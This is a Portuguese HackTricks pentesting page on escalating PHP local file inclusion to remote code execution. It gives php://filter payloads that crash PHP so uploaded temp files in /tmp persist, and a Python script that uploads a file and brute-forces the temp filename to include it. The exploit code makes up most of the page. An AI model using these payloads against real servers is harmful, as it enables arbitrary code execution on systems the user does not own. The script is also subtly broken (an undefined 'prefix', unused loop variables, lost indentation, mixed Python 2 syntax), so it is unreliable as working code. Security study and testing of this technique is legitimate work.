hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md

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# LFI2RCE via Segmentation Fault
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De acordo com os writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), os seguintes payloads causaram uma falha de segmentação no PHP:
```php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
Deve saber que se **enviar** um pedido **POST** **contendo** um **ficheiro**, o PHP irá criar um **ficheiro temporário em `/tmp/php<algo>`** com o conteúdo desse ficheiro. Este ficheiro será **automaticamente eliminado** assim que o pedido for processado.
Se encontrar uma **LFI** e conseguir **desencadear** um erro de segmentação no PHP, o **ficheiro temporário nunca será eliminado**. Portanto, pode **procurá-lo** com a vulnerabilidade **LFI** até o encontrar e executar código arbitrário.
Pode usar a imagem docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para testar.
```python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
```
{% hint style="success" %}
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<details>
<summary>Suporte ao HackTricks</summary>
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* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
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